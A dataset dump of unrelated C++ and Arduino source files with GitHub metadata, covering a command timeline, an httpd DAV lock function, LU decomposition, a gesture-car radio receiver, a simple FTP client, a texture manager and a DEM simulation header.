void Timeline::add(Command* mCommandPtr)
{
mCommandPtr->timelinePtr = this;
mCommandPtr->initialize();
commandPtrs.push_back(mCommandPtr);
if(currentCommandPtr == nullptr) currentCommandPtr = mCommandPtr;
}
void Timeline::del(Command* mCommandPtr)
{
delFromVector<Command*>(commandPtrs, mCommandPtr);
delete mCommandPtr;
}
void Timeline::next()
{
auto iter = find(commandPtrs.begin(), commandPtrs.end(), currentCommandPtr);
if (iter == commandPtrs.end() - 1)
{
currentCommandPtr = nullptr; // no more commands
return;
}
else
{
iter++;
currentCommandPtr = *iter;
}
}
void Timeline::step()
{
do
{
if (currentCommandPtr == nullptr)
{
finished = true;
ready = false;
break;
}
currentCommandPtr->update();
} while (ready);
}
void Timeline::update(float mFrameTime)
{
timeNext += mFrameTime;
if (timeNext < 1) return;
auto remainder = timeNext - floor(timeNext);
if (finished) return;
ready = true;
for (int i = 0; i < floor(timeNext); i++) step();
timeNext = remainder;
}
void Timeline::jumpTo(int mTargetIndex) { currentCommandPtr = commandPtrs[mTargetIndex]; }
void Timeline::reset()
{
finished = false;
for (auto commandPtr : commandPtrs) commandPtr->reset();
if(!commandPtrs.empty()) currentCommandPtr = commandPtrs[0];
else currentCommandPtr = nullptr;
}
void Timeline::clear()
{
for (auto commandPtr : commandPtrs) delete commandPtr;
commandPtrs.clear();
}
} /* namespace sses */
|
de3ccc920618761c79e98aec7f576c4ee2b4bebc
|
0eff74b05b60098333ad66cf801bdd93becc9ea4
|
/second/download/httpd/gumtree/httpd_repos_function_175_httpd-2.2.2.cpp
|
c013981f1db291fb8d55f800ecab6c0c329ffb6c
|
[] |
no_license
|
niuxu18/logTracker-old
|
97543445ea7e414ed40bdc681239365d33418975
|
f2b060f13a0295387fe02187543db124916eb446
|
refs/heads/master
| 2021-09-13T21:39:37.686481
| 2017-12-11T03:36:34
| 2017-12-11T03:36:34
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,386
|
cpp
|
httpd_repos_function_175_httpd-2.2.2.cpp
|
static dav_error * dav_generic_resolve(dav_lockdb *lockdb,
dav_lock_indirect *indirect,
dav_lock_discovery **direct,
dav_lock_discovery **ref_dp,
dav_lock_indirect **ref_ip)
{
dav_error *err;
dav_lock_discovery *dir;
dav_lock_indirect *ind;
if ((err = dav_generic_load_lock_record(lockdb, indirect->key,
DAV_CREATE_LIST,
&dir, &ind)) != NULL) {
/* ### insert a higher-level description? */
return err;
}
if (ref_dp != NULL) {
*ref_dp = dir;
*ref_ip = ind;
}
for (; dir != NULL; dir = dir->next) {
if (!dav_compare_locktoken(indirect->locktoken, dir->locktoken)) {
*direct = dir;
return NULL;
}
}
/* No match found (but we should have found one!) */
/* ### use a different description and/or error ID? */
return dav_new_error(lockdb->info->pool,
HTTP_INTERNAL_SERVER_ERROR,
DAV_ERR_LOCK_CORRUPT_DB,
"The lock database was found to be corrupt. "
"An indirect lock's direct lock could not "
"be found.");
}
|
3d8cbee8ee71ad4138158930080c46c52ad1edc6
|
39687a63b28378681f0309747edaaf4fb465c034
|
/examples/04-fileIO_String/Mesh_io/include/gotools_core/LUDecomp_implementation.h
|
ec66104f9f828562686d8da624025386fe531d29
|
[] |
no_license
|
aldongqing/jjcao_code
|
5a65ac654c306b96f0892eb20746b17276aa56e4
|
3b04108ed5c24f22899a31b0ee50ee177a841828
|
refs/heads/master
| 2021-01-18T11:35:25.515882
| 2015-10-29T01:52:33
| 2015-10-29T01:52:33
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,123
|
h
|
LUDecomp_implementation.h
|
//===========================================================================
// GoTools - SINTEF Geometry Tools version 1.0.1
//
// GoTools module: CORE
//
// Copyright (C) 2000-2005 SINTEF ICT, Applied Mathematics, Norway.
//
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation version 2 of the License.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc.,
// 59 Temple Place - Suite 330,
// Boston, MA 02111-1307, USA.
//
// Contact information: e-mail: tor.dokken@sintef.no
// SINTEF ICT, Department of Applied Mathematics,
// P.O. Box 124 Blindern,
// 0314 Oslo, Norway.
//
// Other licenses are also available for this software, notably licenses
// for:
// - Building commercial software.
// - Building software whose source code you wish to keep private.
//===========================================================================
#ifndef _LUDECOMP_IMPLEMENTATION_H
#define _LUDECOMP_IMPLEMENTATION_H
#include <vector>
#include <cmath>
namespace Go
{
///\addtogroup utils
///\{
//===========================================================================
// LU decomposition algorithm, based on Crout's algorithm
template<typename SquareMatrix>
void LUDecomp(SquareMatrix& mat, int num_rows, int* perm, bool& parity)
//===========================================================================
{
parity = true; // as for now, number of row transpositions is 0, evidently
const int num_cols = num_rows; // for clarity (should be optimized away by compiler...)
for (int k = 0; k < num_rows; perm[k] = k++); // filling out perm with sequence 0, 1,...
// determining scaling factor of each row
std::vector<double> scaling(num_rows, 0);
for (int i = 0; i < num_rows; ++i) {
for (int j = 0; j < num_cols; ++j) {
double temp = fabs(mat[i][j]);
if (temp > scaling[i]) {
scaling[i] = temp; // scaling[i] is max. absolute elem on row i.
}
}
if (scaling[i] == 0) {
throw std::runtime_error("Unable to LU decompose matrix. Null row detected.");
} else {
scaling[i] = double(1) / scaling[i];
}
}
// executing Crout's algorithm
for (int j = 0; j < num_cols; ++j) {
// determining elements of UPPER matrix on this column
for (int i = 0; i < j; ++i) {
double sum = mat[i][j];
for (int k = 0; k <= i-1; ++k) {
sum -= mat[i][k] * mat[k][j];
}
mat[i][j] = sum;
}
// compute rest of this column, before division by pivot
double pivot_val = 0;
int pivot_row = j;
for (int i = j; i < num_rows; ++i) {
double sum = mat[i][j];
for (int k = 0; k <= j-1; ++k) {
sum -= mat[i][k] * mat[k][j];
}
mat[i][j] = sum;
double temp = std::fabs(sum * scaling[i]);
if (temp > pivot_val) {
pivot_val = temp;
pivot_row = i;
}
}
if (mat[pivot_row][j] == 0) {
throw std::runtime_error("Unable to LU decompose singular matrix.");
}
// permute rows to position pivot correctly
if (pivot_row != j) {
for (int k = 0; k < num_cols; ++k) {
std::swap(mat[pivot_row][k], mat[j][k]);
}
parity = !parity;
std::swap(scaling[j], scaling[pivot_row]);
std::swap(perm[j], perm[pivot_row]);
}
if (j < num_rows - 1) {
// dividing LOWER matrix elements by pivot
pivot_val = double(1) / mat[j][j]; // inverse value, without scaling
for (int i = j+1; i < num_rows; ++i) {
mat[i][j] *= pivot_val;
}
}
}
}
//===========================================================================
// Solve the system Ax = b for x, using LU decomposition of the matrix A.
template<typename SquareMatrix, typename T>
void LUsolveSystem(SquareMatrix& A, int num_unknowns, T* vec)
//===========================================================================
{
bool parity;
std::vector<int> permutation(num_unknowns);
LUDecomp(A, num_unknowns, &permutation[0], parity);
// permuting b
std::vector<T> vec_old(vec, vec + num_unknowns);
for (int i = 0; i < num_unknowns; ++i) {
swap(vec[i], vec_old[permutation[i]]);
}
forwardSubstitution(A, vec, num_unknowns);
backwardSubstitution(A, vec, num_unknowns);
}
//===========================================================================
template<typename SquareMatrix, typename T>
void forwardSubstitution(const SquareMatrix& A, T* x, int num_unknowns)
//===========================================================================
{
for (int i = 1; i < num_unknowns; ++i) {
for (int j = 0; j < i; ++j) {
x[i] -= A[i][j] * x[j];
}
}
}
//===========================================================================
template<typename SquareMatrix>
void forwardSubstitution(const SquareMatrix& A, std::vector<double>* x, int num_unknowns)
//===========================================================================
{
const int dim = int(x[0].size());
for (int i = 1; i < num_unknowns; ++i) {
for (int j = 0; j < i; ++j) {
for (int dd = 0; dd < dim; ++dd) {
x[i][dd] -= A[i][j] * x[j][dd];
}
}
}
}
//===========================================================================
template<typename SquareMatrix, typename T>
void backwardSubstitution(const SquareMatrix& A, T* x, int num_unknowns)
//===========================================================================
{
x[num_unknowns-1] /= A[num_unknowns-1][num_unknowns-1];
for (int i = num_unknowns - 2; i >= 0; --i) {
for (int j = i+1; j < num_unknowns; ++j) {
x[i] -= A[i][j] * x[j];
}
x[i] /= A[i][i];
}
}
//===========================================================================
template<typename SquareMatrix>
void backwardSubstitution(const SquareMatrix& A, std::vector<double>* x, int num_unknowns)
//===========================================================================
{
const int dim = int(x[0].size());
for (int dd = 0; dd < dim; ++dd) {
x[num_unknowns-1][dd] /= A[num_unknowns-1][num_unknowns-1];
}
for (int i = num_unknowns - 2; i >= 0; --i) {
for (int j = i+1; j < num_unknowns; ++j) {
for (int dd = 0; dd < dim; ++dd) {
x[i][dd] -= A[i][j] * x[j][dd];
}
}
for (int dd = 0; dd < dim; ++dd) {
x[i][dd] /= A[i][i];
}
}
}
///\}
}; // end namespace Go
#endif // _LUDECOMP_IMPLEMENTATION_H
|
599d9791512adf5a8d036eed9ef03b8a87d46ae5
|
77bdcfff89d093a7f5a953e53bc4cdd18a84f16a
|
/dracula/Logic/track.h
|
d25f9a53963d4ead79783304e80e4c40ce3e0c2f
|
[] |
no_license
|
bulygin1985/dracula
|
7aa46d45e70446ff24a80622a9e2c778572cb2f6
|
216fdec103267e12c9c8c980252a1fbaa08599c8
|
refs/heads/master
| 2020-05-26T15:15:36.470434
| 2017-05-21T22:21:44
| 2017-05-21T22:21:55
| 85,009,589
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 609
|
h
|
track.h
|
#ifndef TRACK_H
#define TRACK_H
#include <QList>
#include <logicobjects.h>
#include <QString>
class Track
{
public:
Track();
//track elelement is added only to begin of track
void addTrackElement(const TrackElement& element);
QList<TrackElement> elements;
QList<TrackElement> getElements() const;
bool operator==(const Track &l) const;
bool operator!=(const Track &l) const;
bool isOnTrack(int locationNum) const;
bool openTrack(int locationNum);
int getTrackIndex(int locationNum);
QString toQString();
private:
QList<int> locations;
};
#endif // TRACK_H
|
cdbf10c98b8d9a14e4afa3b57c434e920f9b97e1
|
23f730e55990a8782407a030845e2912ce41794e
|
/src/Benchmark.hpp
|
fb296d6088b7eecf310a499b6eb4b0fd59e505da
|
[] |
no_license
|
madamskip1/-AAL-Discrete-Knapsack-Problem
|
d0ddfda143519f67d42ab3f653b7da67d7bd9ed0
|
50e194237a8b0374c238b0544a9f68fd73b62828
|
refs/heads/main
| 2023-02-02T10:36:04.949436
| 2020-12-22T15:25:55
| 2020-12-22T15:25:55
| 306,403,932
| 0
| 0
| null | 2020-10-29T15:57:53
| 2020-10-22T16:57:39
|
C++
|
UTF-8
|
C++
| false
| false
| 774
|
hpp
|
Benchmark.hpp
|
#pragma once
#include <chrono>
#include <iostream>
#include <vector>
class Benchmark
{
public:
Benchmark();
void run(bool naive);
void setStartNumItems(int start);
void setCapacity(int capacity);
void setNumProblems(int problems);
void setNumInstances(int instances);
void setStep(int step);
void setMaxDuplicates(int max);
private:
int numProblems;
int numInstances;
int step;
int startNumItems;
int numItems;
int capacity;
int maxDuplicates;
std::vector<std::chrono::duration<double>> times;
static const int DEFAULT_NUM_INSTANCES;
static const int DEFAULT_STEP;
static const int DEFAULT_NUM_PROBLEMS;
void runInstance(bool naive);
void printInstance();
void printProblem();
};
|
262fffec0a1fa94a165b226cec9baef578036509
|
f206260f0660136563bbe288d071fec1c625535a
|
/receiver.ino
|
bc29f2f2b5e2594bb2476c0c9d831142dcccd5eb
|
[] |
no_license
|
soummo19/Gesture_Controlled_Car
|
40b2b0345ffca0943ff0e0af25292db417ba4f27
|
86fb05ac87bc84cfdf31f7e1cc150cdd9b95d01f
|
refs/heads/master
| 2022-11-30T15:08:39.203030
| 2020-08-09T10:44:17
| 2020-08-09T10:44:17
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,846
|
ino
|
receiver.ino
|
#include <VirtualWire.h>
byte message[VW_MAX_MESSAGE_LEN];
byte messageLength = VW_MAX_MESSAGE_LEN;
int lm=9;
int lmr=8;
int rm=10;
int rmr=7;
int ledPin=13;
void setup()
{
pinMode(ledPin,OUTPUT);
pinMode(lm,OUTPUT);
pinMode(lmr,OUTPUT);
pinMode(rm,OUTPUT);
pinMode(rmr,OUTPUT);
vw_setup(2000);
vw_rx_start();
}
void loop()
{
uint8_t buf[VW_MAX_MESSAGE_LEN];
uint8_t buflen = VW_MAX_MESSAGE_LEN;
if (vw_get_message(buf, &buflen))
{
int i;
for (i = 0; i < buflen; i++)
{
if (buf[i]==0x73)//Stationary
{
digitalWrite(lm,LOW);
digitalWrite(lmr,LOW);
digitalWrite(rm,LOW);
digitalWrite(rmr,LOW);
digitalWrite(ledPin,LOW);
}
else
{
if(buf[i]==0x66)//Forward
{
digitalWrite(lm,LOW);
digitalWrite(lmr,HIGH);
digitalWrite(rm,HIGH);
digitalWrite(rmr,LOW);
digitalWrite(ledPin,HIGH);
}
if (buf[i]==0x61)//Backward
{
digitalWrite(lm,HIGH);
digitalWrite(lmr,LOW);
digitalWrite(rm,LOW);
digitalWrite(rmr,HIGH);
digitalWrite(ledPin,HIGH);
}
if (buf[i]==0x6c)//Left
{
digitalWrite(lm,LOW);
digitalWrite(lmr,LOW);
digitalWrite(rm,HIGH);
digitalWrite(rmr,LOW);
digitalWrite(ledPin,HIGH);
}
if (buf[i]==0x72)//Right
{
digitalWrite(lm,LOW);
digitalWrite(lmr,HIGH);
digitalWrite(rm,LOW);
digitalWrite(rmr,LOW);
digitalWrite(ledPin,HIGH);
}
}
}
}
}
|
6cc58fccd0a3a56ccd5cecb9d1bbd4d449a63470
|
d0926ed5a1ce8a360565b1ed44351c65d3e145b3
|
/main.cpp
|
1a3b2ecfa42868e17b27459ff3fb4746ba4a8101
|
[] |
no_license
|
vanilla111/SimpleFtp
|
f4520170aab92a322d80fff27092eb8d835ab6fe
|
8ccb24d948688631aaee9c4459a84b8766d50a40
|
refs/heads/master
| 2022-06-04T14:56:57.207261
| 2020-05-02T03:09:37
| 2020-05-02T03:09:37
| 259,364,584
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 5,010
|
cpp
|
main.cpp
|
#include <sys/socket.h>
#include <netinet/in.h>
#include <memory.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <cerrno>
#include <sstream>
#include <poll.h>
#include "Server/headers/CommandParser.h"
#include "Server/headers/FtpException.h"
#include "Client/CFileTransporter.h"
#include "Client/TransException.h"
#include "Client/Color.h"
#define SEND_BUFFER_SIZE 4096
#define RESPONSE_BUFFER_SIZE 2048
enum ResponseType {
SUCCESS, FAILED, SERVER_ERROR
};
struct Response {
ResponseType type;
char message[RESPONSE_BUFFER_SIZE];
};
using namespace std;
char * strToLower(char *str) {
char * origin = str;
for (;*str != '\0'; str++)
*str = tolower(*str);
return origin;
}
string getFileName(string path) {
if (path.empty())
return std::string();
return path.substr(path.find_last_of('/') + 1);
}
int main() {
const char *ip = "127.0.0.1";
string workDir = "/Users/wang/CLionProjects/FTP/";
int port = 7000;
int reuse = 1;
int ret = 0;
int sockfd;
struct sockaddr_in targetServer;
bzero(&targetServer, sizeof(targetServer));
targetServer.sin_family = AF_INET;
targetServer.sin_port = htons(port);
inet_pton(AF_INET, ip, &targetServer.sin_addr);
sockfd = socket(PF_INET, SOCK_STREAM, 0);
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));
ret = connect(sockfd, (struct sockaddr*)&targetServer, sizeof(targetServer));
assert(ret >= 0);
char sendBuffer[SEND_BUFFER_SIZE];
char recvBuffer[sizeof(Response)];
string line;
Command *command;
for (;;) {
memset(sendBuffer, '\0', sizeof(sendBuffer));
cout << "ftp> ";
getline(cin, line);
strcpy(sendBuffer, line.c_str());
if (strcmp(strToLower(sendBuffer), "exit") == 0)
break;
try {
command = CommandParser::parseCommandString(sendBuffer, line.length());
} catch (FtpException &e) {
setColor(F_RED);
cout << e.what() << endl;
resetFColor();
continue;
}
send(sockfd, sendBuffer, strlen(sendBuffer), 0);
pollfd fds[1];
fds[0].fd = sockfd;
fds[0].events = POLLIN | POLLHUP;
fds[0].revents = 0;
while (true)
{
int ret = ::poll(fds, 1, -1);
if (ret < 0)
{
cout << "poll failure" << endl;
break;
}
if (fds[0].revents & POLLHUP)
{
cout << "server close the connection" << endl;
exit(1);
}
else if (fds[0].revents & POLLIN)
{
::recv(sockfd, recvBuffer, sizeof(Response), 0);
Response *response = (Response*) recvBuffer;
//cout << "Response: type = " << response->type << ", msg = " << response->message << endl;
if (response->type == SUCCESS) {
// TODO 处理各种错误
if (command->type == GET) {
cout << "处理GET命令,存储路径为: "<< workDir << getFileName(command->firstParameter) << endl;
off_t fileSize = strtoll(response->message, nullptr, 0);
auto *transporter = new CFileTransporter("127.0.0.1", 7001, workDir + getFileName(command->firstParameter));
try {
transporter->runForGet(fileSize);
} catch (TransException &e) {
setColor(F_RED);
cout << "文件传输异常: " << e.what() << endl;
resetFColor();
delete transporter;
}
} else if (command->type == PUT) {
cout << "处理PUT命令,需要传输文件的存储路径为: "<< workDir << getFileName(command->firstParameter) << endl;
auto *transporter = new CFileTransporter("127.0.0.1", 7001, workDir + getFileName(command->firstParameter));
try {
transporter->runForPut();
} catch (TransException &e) {
setColor(F_RED);
cout << "文件传输异常: " << e.what() << endl;
resetFColor();
delete transporter;
}
} else {
cout << response->message << endl;
}
} else {
setColor(F_RED);
cout << response->message << endl;
resetFColor();
}
break;
}
}
delete command;
}
close(sockfd);
return 0;
}
|
2057ca962096129f9bef6b393ce87b3188e3fd6c
|
3436e188d5ab9650860162367a86a1436e76fd50
|
/linked_list/listnode.cpp
|
88e687d5fe1d4e2ba57652ede93eafbecbc4826a
|
[] |
no_license
|
PU-UP/cpp_beginner
|
9995e8c4f8df516321d84d0a469f89b288c85a5d
|
40427fda1fb5f93ee6b1c434c8e05402f3bdc116
|
refs/heads/main
| 2023-06-19T00:23:08.310399
| 2021-07-19T12:58:56
| 2021-07-19T12:58:56
| 387,361,190
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 756
|
cpp
|
listnode.cpp
|
# include <iostream>
using namespace std;
struct node
{
int data;
node *next;
node(int data, node *next = NULL){
this->data = data;
this->next = next;
}
};
node *createlist()
{
node *head =NULL;
node *cur = NULL;
for(int i=0;i<5;i++)
{
if(head==NULL)
{
head = new node(i);
cur = head;
}
else
{
cur->next = new node(i);
cur = cur->next;
}
}
return head;
}
void displaylist(node *head)
{
cout << "list node -> ";
while(head!=NULL)
{
cout << head->data<<" ";
head = head->next;
}
cout << endl;
}
int main()
{
node *head = createlist();
displaylist(head);
}
|
a9546005a9b9b4d6a1fe0d783eafc3f9f53b0b09
|
b3c33dfd7f170e456136e790cb5990ef77f2691c
|
/SOC/TextureManager.cpp
|
9d8b2a687172031d5f05fd56d1de4cfcbb53c12a
|
[] |
no_license
|
hsb0818/SOC_Framework
|
3da7c9ad43b5fdb71abca9a5089db723a1d9a723
|
102be3057b3e225024caa0c3c8be6fced88fe93f
|
refs/heads/master
| 2020-12-25T12:57:02.170142
| 2013-10-07T19:08:07
| 2013-10-07T19:08:07
| 12,836,364
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,801
|
cpp
|
TextureManager.cpp
|
#include "TextureManager.h"
#include <string>
using namespace std;
namespace Rendering
{
TextureManager::TextureManager()
{
resourceDirLen = strlen(RESOURCE_DIR);
}
TextureManager::~TextureManager()
{
DeleteAll();
}
Texture::TextureForm* TextureManager::AddTexture(std::string path, bool inResourceFolder)
{
if(inResourceFolder)
path.erase(0, resourceDirLen);
hash_map<string, Texture::TextureForm*>::iterator iter = hash.find(path);
if(iter != hash.end())
return iter->second;
Texture::TextureForm *tex = NULL;
bool success;
tex = new Texture::Texture();
success = tex->Create(path.c_str());
if(success == false)
return NULL;
hash.insert(hash_map<string, Texture::TextureForm*>::value_type(path, tex));
return tex;
}
Texture::TextureForm* TextureManager::FindTexture(std::string path, bool inResourceFolder)
{
if(inResourceFolder)
path.erase(0, resourceDirLen);
return hash.find(path)->second;
}
void TextureManager::Delete(std::string path, bool inResourceFolder/* = true*/)
{
if(inResourceFolder)
path.erase(0, resourceDirLen);
hash_map<string, Texture::TextureForm*>::iterator iter = hash.find(path);
if( iter == hash.end() )
return;
Utility::SAFE_DELETE(iter->second);
hash.erase(iter);
}
void TextureManager::Delete(Texture::TextureForm* texture, bool remove)
{
hash_map<string, Texture::TextureForm*>::iterator iter;
for(iter = hash.begin(); iter != hash.end(); ++iter)
{
if( (*iter).second == texture )
{
if(remove)
delete texture;
hash.erase(iter);
return;
}
}
}
void TextureManager::DeleteAll()
{
for(hash_map<string, Texture::TextureForm*>::iterator iter = hash.begin();iter != hash.end(); ++iter)
Utility::SAFE_DELETE(iter->second);
hash.clear();
}
}
|
8deaf45f0e91c0a5d527b8c3e9a27f4256bc6572
|
78c38be7d33da5bf273044030d78129264def7ca
|
/primer/TestQuery.cpp
|
70a50955dafab7a8c9913cbe505ddf7ed59f3cd4
|
[] |
no_license
|
Sesamely/cprimer
|
4eedc39bb6ff762e6932d156f4d68cafadf93011
|
40201fa78669bc3e6055f0913c52724a00a03adf
|
refs/heads/master
| 2021-05-11T02:10:14.129753
| 2018-04-23T17:09:37
| 2018-04-23T17:09:37
| 118,352,561
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,123
|
cpp
|
TestQuery.cpp
|
/************************************************************************
**** > File Name: TestQuery.cpp
**** > Author: yiwen liu
**** > Mail: newiyuil@163.com
**** > Created Time: Mon 22 Jan 2018 12:00:37 PM CST
************************************************************************/
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include <set>
#include <map>
#include <memory>
using namespace std;
class QueryResult {
public:
private:
int count = 0;
};
class TextQuery {
using line_type = unsigned int;
public:
TextQuery() {}
TextQuery(istream& infile);
QueryResult query(string s);
private:
vector<string> text;
map<string, set<line_type>> map;
};
TextQuery::TextQuery(istream& infile) {
string s;
while (getline(infile, s)) {
text.push_back(s);
}
}
QueryResult TextQuery::query(string demo_str) {
line_type number;
string temp_str;
for (auto index=text.cbegin(); index != text.cend(); ++index) {
istringstream in(*index);
while (in >> temp_str) {
}
}
}
|
fe13c70b6e2f246a8810fc7cb4ad84d8ee58be52
|
63b3e64d0f1290676cdc91c882e9d900eefa6e73
|
/visuals/apps/myApps/oscParametersReceiverExample/src/ofApp.h
|
cdb8a7bf2a6c7a24a90c7c3de9e5c24881177b23
|
[] |
no_license
|
KAZOOSH/MIMR
|
68cb983e2aa47636a438e71551d9b2f8be135c0c
|
994c7d70f4bc9e71ffa7880e0e2ad08ae551bd26
|
refs/heads/master
| 2022-10-15T08:54:37.444689
| 2022-09-15T15:38:16
| 2022-09-15T15:38:16
| 90,995,645
| 2
| 1
| null | 2017-10-02T20:24:52
| 2017-05-11T15:36:03
|
Python
|
UTF-8
|
C++
| false
| false
| 1,289
|
h
|
ofApp.h
|
#pragma once
#include "ofMain.h"
#include "ofxGui.h"
#include "ofxOscParameterSync.h"
class ofApp : public ofBaseApp{
public:
void setup();
void update();
void draw();
void keyPressed (int key);
void keyReleased(int key);
void mouseMoved(int x, int y );
void mouseDragged(int x, int y, int button);
void mousePressed(int x, int y, int button);
void mouseReleased(int x, int y, int button);
void mouseEntered(int x, int y);
void mouseExited(int x, int y);
void windowResized(int w, int h);
void dragEvent(ofDragInfo dragInfo);
void gotMessage(ofMessage msg);
ofxPanel gui;
ofParameterGroup p;
ofxOscParameterSync sync;
ofParameter<int> colorSet;
//values for objects
ofParameter<int> v_kurbel;
ofParameter<bool> v_kuehler1;
ofParameter<bool> v_kuehler2;
ofParameter<bool> v_kuehler3;
ofParameter<bool> v_kuehler4;
ofParameter<bool> v_kuehler5;
ofParameter<int> v_theremin;
ofParameter<int> v_trichter_rot;
ofParameter<int> v_trichter_mic;
ofParameter<int> v_eieiei_spin;
ofParameter<int> v_eieiei_membrane;
ofParameter<int> v_goldenBox;
ofParameter<int> v_bassfahrer;
ofParameter<int> v_foehn;
ofParameter<bool> v_foehn_schalter1;
ofParameter<bool> v_foehn_schalter2;
ofParameter<bool> v_foehn_schalter3;
};
|
c34c64c45949639e55c4e9648bd5b7a6a5be02d7
|
dc3e696025bca400aaabc0b3fce4aa334b067c84
|
/BCATM2.cpp
|
ba9e93fb13068c962abd4c21f5f5edd22474ba0c
|
[] |
no_license
|
NguyenTheAn/Algorithm
|
740170afb6d4e2db362f5e406fc48f014ce693a4
|
1fe154ae46658079b422e3a5198e239908939b6b
|
refs/heads/master
| 2020-10-01T09:40:06.473488
| 2019-12-12T03:27:16
| 2019-12-12T03:27:16
| 227,510,768
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 523
|
cpp
|
BCATM2.cpp
|
#include <bits/stdc++.h>
using namespace std;
int n;
long long s, a[100], bestconfig=LONG_MAX, d=0;
int dd[100];
void Try(int i){
for (int j=0; j<=1; j++){
dd[i]=j;
if (dd[i]==1) s-=a[i], d++;
if (s>=0 && d<bestconfig){
if (i==n-1){
if (s==0) bestconfig = d;
}
else Try(i+1);
}
if (dd[i]==1) s+=a[i], d--;
}
}
int main(){
cin>>n>>s;
for (int i=0; i<n; i++){
cin>>a[i];
}
Try(0);
cout<<bestconfig;
return 0;
}
//https://www.spoj.com/PTIT/problems/BCATM2/
|
b0a50816010c296ee61e1bfd0aff794bcf945412
|
56a77194fc0cd6087b0c2ca1fb6dc0de64b8a58a
|
/applications/DEMApplication/custom_constitutive/DEM_Dempack_dev_CL.h
|
0858ab52ed8980ef87f0fb1fb2d889a04a720206
|
[
"BSD-3-Clause"
] |
permissive
|
KratosMultiphysics/Kratos
|
82b902a2266625b25f17239b42da958611a4b9c5
|
366949ec4e3651702edc6ac3061d2988f10dd271
|
refs/heads/master
| 2023-08-30T20:31:37.818693
| 2023-08-30T18:01:01
| 2023-08-30T18:01:01
| 81,815,495
| 994
| 285
|
NOASSERTION
| 2023-09-14T13:22:43
| 2017-02-13T10:58:24
|
C++
|
UTF-8
|
C++
| false
| false
| 5,801
|
h
|
DEM_Dempack_dev_CL.h
|
#if !defined(DEM_DEMPACK_DEV_CL_H_INCLUDED)
#define DEM_DEMPACK_DEV_CL_H_INCLUDED
/* Project includes */
#include "DEM_Dempack_CL.h"
//#include "DEM_discontinuum_constitutive_law.h"
namespace Kratos {
class KRATOS_API(DEM_APPLICATION) DEM_Dempack_dev : public DEM_Dempack {
typedef DEM_Dempack BaseClassType;
public:
KRATOS_CLASS_POINTER_DEFINITION(DEM_Dempack_dev);
DEM_Dempack_dev() {}
~DEM_Dempack_dev() {}
DEMContinuumConstitutiveLaw::Pointer Clone() const override;
void GetContactArea(const double radius,
const double other_radius,
const Vector& vector_of_initial_areas,
const int neighbour_position,
double& calculation_area) override;
void CalculateContactArea(double radius,
double other_radius,
double &calculation_area) override;
double CalculateContactArea(double radius,
double other_radius,
Vector& v) override;
void CalculateElasticConstants(double &kn_el,
double &kt_el,
double initial_dist,
double equiv_young,
double equiv_poisson,
double calculation_area,
SphericContinuumParticle* element1,
SphericContinuumParticle* element2, double indentation) override;
void CalculateTangentialForces(double OldLocalElasticContactForce[3],
double LocalElasticContactForce[3],
double LocalElasticExtraContactForce[3],
double ViscoDampingLocalContactForce[3],
double LocalCoordSystem[3][3],
double LocalDeltDisp[3],
double LocalRelVel[3],
const double kt_el,
const double equiv_shear,
double& contact_sigma,
double& contact_tau,
double indentation,
double calculation_area,
double& failure_criterion_state,
SphericContinuumParticle* element1,
SphericContinuumParticle* element2,
int i_neighbour_count,
bool& sliding,
const ProcessInfo& r_process_info) override;
void CalculateNormalForces(double LocalElasticContactForce[3],
const double kn_el,
double equiv_young,
double indentation,
double calculation_area,
double& acumulated_damage,
SphericContinuumParticle* element1,
SphericContinuumParticle* element2,
int i_neighbour_count,
int time_steps,
const ProcessInfo& r_process_info) override;
void AddContributionOfShearStrainParallelToBond(double OldLocalElasticContactForce[3],
double LocalElasticExtraContactForce[3],
array_1d<double, 3>& OldElasticExtraContactForce,
double LocalCoordSystem[3][3],
const double kt_el,
const double calculation_area,
SphericContinuumParticle* element1,
SphericContinuumParticle* element2);
void ComputeParticleRotationalMoments(SphericContinuumParticle* element,
SphericContinuumParticle* neighbor,
double equiv_young,
double distance,
double calculation_area,
double LocalCoordSystem[3][3],
double ElasticLocalRotationalMoment[3],
double ViscoLocalRotationalMoment[3],
double equiv_poisson,
double indentation,
double LocalElasticContactForce[3]) override;
void AddPoissonContribution(const double equiv_poisson,
double LocalCoordSystem[3][3],
double& normal_force,
double calculation_area, BoundedMatrix<double, 3, 3>* mSymmStressTensor, SphericContinuumParticle* element1,
SphericContinuumParticle* element2, const ProcessInfo& r_process_info, const int i_neighbor_count, const double indentation) override;
private:
friend class Serializer;
virtual void save(Serializer& rSerializer) const override{
KRATOS_SERIALIZE_SAVE_BASE_CLASS(rSerializer, DEMContinuumConstitutiveLaw)
//rSerializer.save("MyMemberName",myMember);
}
virtual void load(Serializer& rSerializer) override{
KRATOS_SERIALIZE_LOAD_BASE_CLASS(rSerializer, DEMContinuumConstitutiveLaw)
//rSerializer.load("MyMemberName",myMember);
}
};
} /* namespace Kratos.*/
#endif /* DEM_DEMPACK_DEV_H_INCLUDED defined */
|
cd7654700e93c5835fb56379cf8d8c0591beace2
|
7573863a78046c1fc0c9e1ac5a1ba3636a3a11b9
|
/EckelCpp-master/Volume2/6. Algorithms/ex11.cpp
|
7183786199b818b4eba8c91bf971e6cdae007c0c
|
[] |
no_license
|
ponram/BruceEckel
|
c88a47fd1918067a6da3e9f46bc4eb9e5f8c809b
|
